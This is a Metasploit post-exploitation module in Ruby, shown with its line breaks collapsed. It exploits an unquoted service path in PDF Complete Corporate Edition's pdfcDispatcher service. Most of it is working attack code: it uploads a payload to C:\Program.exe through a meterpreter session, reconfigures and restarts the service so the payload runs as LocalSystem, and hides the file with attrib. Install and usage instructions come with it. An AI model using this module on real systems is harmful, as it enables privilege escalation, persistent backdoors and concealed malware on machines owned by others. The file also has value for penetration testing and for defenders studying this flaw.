## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. ## ## # Exploit Title : PDF_complete_corporate_edition.rb - 'Unquoted Service Path Privilege Escalation' # PDF Version : 4.1.12 # vuln Discover : Joey Lane # Module Author : pedr0 Ubuntu [r00t-3xp10it] # Tested on : Windows 7 Professional # Software Link : http://www.pdfcomplete.com/cms/Downloads.aspx # "This was tested on version 4.1.12, but other versions may be affected as well." # # # Description: # PDF Complete Corporate Edition installs a service with an unquoted service path. # This enables a local privilege escalation vulnerability. To exploit this vulnerability, # a local attacker can insert an executable file in the path of the service. # Rebooting the system or restarting the service will run the malicious executable # with elevated privileges. # # --------------------------------------------------------------------------- # C:\>sc qc pdfcDispatcher # [SC] QueryServiceConfig SUCCESS # # SERVICE_NAME: pdfcDispatcher # TYPE : 10 WIN32_OWN_PROCESS # START_TYPE : 2 AUTO_START # ERROR_CONTROL : 1 NORMAL # BINARY_PATH_NAME : C:\Program Files (x86)\PDF Complete\pdfsvc.exe # LOAD_ORDER_GROUP : # TAG : 0 # DISPLAY_NAME : PDF Document Manager # DEPENDENCIES : # SERVICE_START_NAME : LocalSystem # --------------------------------------------------------------------------- # # EXAMPLE: # Using the BINARY_PATH_NAME listed above as an example, an executable named # "Program.exe" could be placed in "C:\", and it would be executed as the # Local System user next time the service was restarted. # # # MODULE OPTIONS: # HINT: to unset all values use: msf post(PDF_complete_corporate_edition.rb) > unset all # Input The session number to run this module on => set SESSION 3 # Input full path of Program.exe to be uploaded => set UPLOAD_PATH /root/shell/output/Program.exe # Check pdfcDispatcher service auto-start status? => set SERVICE_STATUS true # use attrib to hidde your program.exe in target? => set HIDDEN_ATTRIB true # # # PORT MODULE TO METASPLOIT DATABASE: # Kali linux COPY TO: /usr/share/metasploit-framework/modules/post/windows/escalate/PDF_complete_corporate_edition.rb # Ubuntu linux COPY TO: /opt/metasploit/apps/pro/msf3/modules/post/windows/escalate/PDF_complete_corporate_edition.rb # Manually Path Search: root@kali:~# locate modules/post/windows/escalate # # # LOAD/USE AUXILIARY: # meterpreter > background # msf exploit(handler) > reload_all # msf exploit(handler) > use post/windows/escalate/PDF_complete_corporate_edition # msf post(PDF_complete_corporate_edition) > info # msf post(PDF_complete_corporate_edition) > show options # msf post(PDF_complete_corporate_edition) > show advanced options # msf post(PDF_complete_corporate_edition) > set [option(s)] # msf post(PDF_complete_corporate_edition) > exploit ## # ---------------------------- # Module Dependencies/requires # ---------------------------- require 'rex'require 'msf/core'require 'msf/core/post/common'require 'msf/core/post/windows/priv' # ---------------------------------- # Metasploit Class name and includes # ---------------------------------- class MetasploitModule < Msf::Post Rank = ExcellentRanking include Msf::Post::Common include Msf::Post::Windows::Priv # ----------------------------------------- # Building Metasploit/Armitage info GUI/CLI # ----------------------------------------- def initialize(info={}) super(update_info(info, 'Name' => 'PDF complete - Unquoted Service Path Privilege Escalation', 'Description' => %q{ This post-exploitation module requires a meterpreter session to be able to upload/inject our Program.exe into pdfcDispatcher service. PDF Complete Corporate Edition installs a service with an unquoted service path. This enables a local privilege escalation vulnerability. To exploit this vulnerability, a local attacker can insert an executable file in the path of the service. Rebooting the system or restarting the service will run the malicious executable with elevated privileges. "Warning: payload to be uploaded should be named as: Program.exe" }, 'License' => UNKNOWN_LICENSE, 'Author' => [ 'Vuln discover: Joey Lane', # vulnerability discover 'Module Author: pedr0 Ubuntu [r00t-3xp10it]', # post-module author 'Special thanks: milton_barra|Chaitanya Haritash', # testing/debug module ], 'Version' => '$Revision: 1.1', 'DisclosureDate' => 'out 27 2016', 'Platform' => 'windows', 'Arch' => 'x86_x64', 'Privileged' => 'false', 'Targets' => [ # Tested againts windows 7 (32 bits) | XP SP1 (32 bits) [ 'Windows XP', 'Windows VISTA', 'Windows 7', 'Windows 8', 'Windows 9', 'Windows 10' ] ], 'DefaultTarget' => '3', # default its to run againts windows 7 (32 bits) 'References' => [ [ 'URL', 'goo.gl/Etf934' ], [ 'URL', 'goo.gl/U54297' ], ], 'DefaultOptions' => { 'SESSION' => '1', # Default its to run againts session 1 }, 'SessionTypes' => [ 'meterpreter' ] )) register_options( [ OptString.new('SESSION', [ true, 'The session number to run this module on']), OptString.new('UPLOAD_PATH', [ false, 'The full path of Program.exe to be uploaded']), OptBool.new('SERVICE_STATUS', [ false, 'Check remote pdfcDispatcher service settings?' , false]), OptBool.new('HIDDEN_ATTRIB', [ false, 'Use Attrib command to Hide Program.exe?' , false]) ], self.class) end # ---------------------------------------------- # Check for proper target Platform (win32|win64) # ---------------------------------------------- def unsupported session = client sys = session.sys.config.sysinfo print_warning("[ABORT]: Operative System => #{sys['OS']}") print_error("Only windows systems are supported by this module...") print_error("Please execute [info] for further information...") print_line("") raise Rex::Script::Completed end # ---------------------------------------------------------- # UPLOAD OUR EXECUTABLE INTO pdfcDispatcher BINARY_PATH_NAME # ---------------------------------------------------------- def ls_stage1 r='' session = client upath = datastore['UPLOAD_PATH'] bin_path = "C:\\Program Files (x86)\\PDF Complete\\pdfsvc.exe" # check for proper config settings enter # to prevent 'unset all' from deleting default options... if datastore['UPLOAD_PATH'] == 'nil' print_error("Options not configurated correctly...") print_warning("Please set UPLOAD_PATH option...") return nil else # elevate privs befor running module print_status("Persisting your payload in target system.") client.sys.config.getprivs.each do |priv| end end # check if vulnerable service (executable) exists if client.fs.file.exist?("#{bin_path}") print_warning("pdfcDispatcher service:found...") sleep(1.0) print_good("Stoping pdfcDispatcher service...") # stop service to enable proper configuration r = session.sys.process.execute("cmd.exe /c sc stop pdfcDispatcher", nil, {'Hidden' => true, 'Channelized' => true}) sleep(2.0) print_good("Setting service to auto-start with windows...") # set service to auto-start with windows r = session.sys.process.execute("cmd.exe /c sc config pdfcDispatcher start= auto", nil, {'Hidden' => true, 'Channelized' => true}) sleep(2.0) # upload our executable into temp foldder print_good("Uploading payload to target system...") client.fs.file.upload("%temp%\\Program.exe","#{upath}") sleep(2.0) # move payload to C:\Program.exe print_good("move payload to C: directory...") r = session.sys.process.execute("cmd.exe /c move /y %temp%\\Program.exe C:\\Program.exe", nil, {'Hidden' => true, 'Channelized' => true}) sleep(2.0) # start service ... print_good("Restarting pdfcDispatcher service...") r = session.sys.process.execute("cmd.exe /c sc start pdfcDispatcher", nil, {'Hidden' => true, 'Channelized' => true}) sleep(2.0) # task completed successefully... print_warning("pdfcDispatcher service [binary_path_name] backdoored successefuly...") print_status("Setup one handler and Wait everytime that system restarts OR") print_status("Setup one handler and restart pdfcDispatcher service: sc start pdfcDispatcher") print_line("") else print_error("#{bin_path} => NOT FOUND...") print_warning("post-module has aborted all tasks in hands :( ...") print_line("") end # close channel when done r.channel.close r.close # error exception funtion rescue ::Exception => e print_error("Error: #{e.class} #{e}") end # ------------------------------------------------- # USE ATTRIB COMMAND TO HIDDE PROGRAM.EXE (PAYLOAD) # ------------------------------------------------- def ls_stage2 r='' session = client hidden = "C:\\Program.exe" # check for proper config settings enter # to prevent 'unset all' from deleting default options... if datastore['HIDDEN_ATTRIB'] == 'nil' print_error("Options not configurated correctly...") print_warning("Please set HIDDEN_ATTRIB option...") return nil else # elevate privs befor running module print_status("Using Attrib command to hide Program.exe...") client.sys.config.getprivs.each do |priv| end end # check if Program.exe exist on target if client.fs.file.exist?("#{hidden}") print_status("Backdoor Program.exe file:found...") # stop service to enable proper configuration r = session.sys.process.execute("cmd.exe /c attrib +h +s C:\\Program.exe", nil, {'Hidden' => true, 'Channelized' => true}) print_good(" Execute => attrib +h +s C:\\Program.exe") sleep(2.0) # diplay output to user print_status("Our Program.exe its hidden from normal people...") print_status("But dont feed the black hacker within :( ...") print_warning("To revert attributes: attrib -h -s C:\\Program.exe") print_line("") # close channel when done r.channel.close r.close else print_error("#{hidden} => NOT FOUND...") print_warning("post-module has aborted all tasks in hands :( ...") print_line("") end # error exception funtion rescue ::Exception => e print_error("Error: #{e.class} #{e}") end # ------------------------------------------- # CHECK/DISPLAY pdfcDispatcher SERVICE STATUS # ------------------------------------------- def ls_stage3 r='' serv="pdfcDispatcher" session = client sysnfo = session.sys.config.sysinfo # check for proper config settings enter # to prevent 'unset all' from deleting default options... if datastore['SERVICE_STATUS'] == 'nil' print_error("Options not configurated correctly...") print_warning("Please set SERVICE_STATUS option...") return nil else print_status("Checking pdfcDispatcher service settings...") client.sys.config.getprivs.each do |priv| end end print_warning("Reading service hive registry keys...") # search in target regedit for WSearch auto-start service status # Value:Start - dword: 2 - auto | 3 - manual | 4 - disabled if registry_getvaldata("HKLM\\System\\CurrentControlSet\\services\\pdfcDispatcher", "Start") == '2' startup = "auto_start" end if registry_getvaldata("HKLM\\System\\CurrentControlSet\\services\\pdfcDispatcher", "Start") == '3' startup = "manual_start" end if registry_getvaldata("HKLM\\System\\CurrentControlSet\\services\\pdfcDispatcher", "Start") == '4' startup = "disabled_start" else startup = "unknow" print_error("post-module cant define service auto_start status...") print_warning("enter into a shell session and execute: sc qc pdfcDispatcher status") end sleep(1.0) # display pdfcDispatcher service current settings. print_line("") print_line(" :host => #{sysnfo['Computer']}") print_line(" :service => #{serv}") print_line(" :status => running") print_line(" :startup => #{startup}") print_line("") # error exception funtion rescue ::Exception => e print_error("Error: #{e.class} #{e}") end # ------------------------------------------------ # MAIN DISPLAY WINDOWS (ALL MODULES - def run) # Running sellected modules against session target # ------------------------------------------------ def run session = client # Check for proper target Platform unsupported if client.platform !~ /win32|win64/i # Variable declarations (msf API calls) sysnfo = session.sys.config.sysinfo runtor = client.sys.config.getuid runsession = client.session_host directory = client.fs.dir.pwd # Print banner and scan results on screen pdfcDispatcher print_line(" +----------------------------------------------+") print_line(" | PRIVILEGE ESCALATION IN PDFDISPACHER SERVICE |") print_line(" | Author: Pedro Ubuntu [ r00t-3xp10it ] |") print_line(" +----------------------------------------------+") print_line("") print_line(" Running on session : #{datastore['SESSION']}") print_line(" Computer : #{sysnfo['Computer']}") print_line(" Operative System : #{sysnfo['OS']}") print_line(" Target IP addr : #{runsession}") print_line(" Payload directory : #{directory}") print_line(" Client UID : #{runtor}") print_line("") print_line("") # ------------------------------------ # Selected settings to run # ------------------------------------ if datastore['UPLOAD_PATH'] ls_stage1 end if datastore['HIDDEN_ATTRIB'] ls_stage2 end if datastore['SERVICE_STATUS'] ls_stage3 end endend